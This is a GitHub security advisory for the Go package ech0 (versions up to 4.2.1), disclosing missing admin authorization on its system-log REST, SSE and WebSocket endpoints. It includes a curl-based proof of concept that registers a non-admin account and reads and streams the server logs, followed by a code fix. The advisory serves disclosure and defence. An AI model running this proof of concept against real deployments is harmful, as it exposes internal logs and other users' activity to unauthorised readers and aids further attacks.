Skip to content

Missing Authorization on System Logs Allows Non-Admin Information Disclosure

Moderate
lin-snow published GHSA-w8jj-cwmc-wgq2 Apr 9, 2026

Package

gomod github.com/lin-snow/ech0 (Go)

Affected versions

<= 4.2.1

Patched versions

4.4.3

Description

Summary

The system log endpoints (GET /api/system/logs, GET /api/system/logs/stream, WS /ws/system/logs) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.

Details

The dashboard routes in internal/router/dashboard.go:7-8 register log endpoints on the AuthRouterGroup without any RequireScopes middleware:

// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
	appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
	appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}

Compare with other admin-only routes that properly use RequireScopes:

// internal/router/setting.go — every route has RequireScopes
appRouterGroup.AuthRouterGroup.GET("/settings",
    middleware.RequireScopes(authModel.ScopeAdminSettings),
    h.SettingHandler.GetSiteSettings())

The AuthRouterGroup only applies JWTAuthMiddleware() (router.go:36), which validates the JWT and sets the viewer context but does not check admin status. The WSRouterGroup (router.go:37) has no middleware at all — the WebSocket handler only calls ParseToken to verify the JWT signature (dashboard.go:74) without any role/scope validation.

The handler (internal/handler/dashboard/dashboard.go:29-62) and service (internal/service/dashboard/dashboard.go:21-27) contain zero authorization checks. Other services in the codebase properly enforce admin access:

  • internal/service/inbox/inbox.go:132ensureAdmin()
  • internal/service/migrator/migrator.go:360ensureAdmin()
  • internal/service/comment/comment.go:719requireAdmin()

Non-admin users are created with IsAdmin: false and IsOwner: false (internal/service/user/user.go:220-221) via the public registration endpoint.

The LogEntry struct (internal/util/log/log.go:78-87) exposes:

type LogEntry struct {
    Time   string         `json:"time"`
    Level  string         `json:"level"`
    Msg    string         `json:"msg"`
    Module string         `json:"module,omitempty"`
    Caller string         `json:"caller,omitempty"`   // internal file paths
    Error  string         `json:"error,omitempty"`     // error stack traces
    Fields map[string]any `json:"fields,omitempty"`    // arbitrary structured data
    Raw    string         `json:"raw,omitempty"`       // raw log lines
}

PoC

# 1. Register a non-admin user (system allows up to 5 users by default)
curl -X POST http://localhost:8080/api/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Password123"}'

# 2. Login to get session token
TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token')

# 3. Read system logs — should require admin but doesn't
curl http://localhost:8080/api/system/logs \
  -H "Authorization: Bearer $TOKEN"
# Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]}

# 4. Subscribe to real-time log stream via SSE
curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN"

# 5. Subscribe via WebSocket (WSRouterGroup has NO middleware)
# wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN"

Impact

Any registered non-admin user can:

  • Read all historical system logs including error traces that reveal internal code paths, database errors, and application state
  • Stream real-time logs via SSE or WebSocket to monitor all server activity as it happens
  • Gather reconnaissance data — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture
  • Monitor other users' actions — authentication failures, registration events, and admin operations appear in logs

This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state.

Recommended Fix

Add RequireScopes middleware with an admin scope to the dashboard routes:

// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET("/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.GetSystemLogs())
	appRouterGroup.AuthRouterGroup.GET("/system/logs/stream",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.SSESubscribeSystemLogs())
	appRouterGroup.WSRouterGroup.GET("/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.WSSubscribeSystemLogs())
}

Additionally, the WebSocket handler should validate admin scope after parsing the token, since the WSRouterGroup lacks middleware:

// internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs
claims, err := jwtUtil.ParseToken(token)
if err != nil {
    ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"})
    return
}
// Add admin check for WebSocket endpoint
if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) {
    ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"})
    return
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits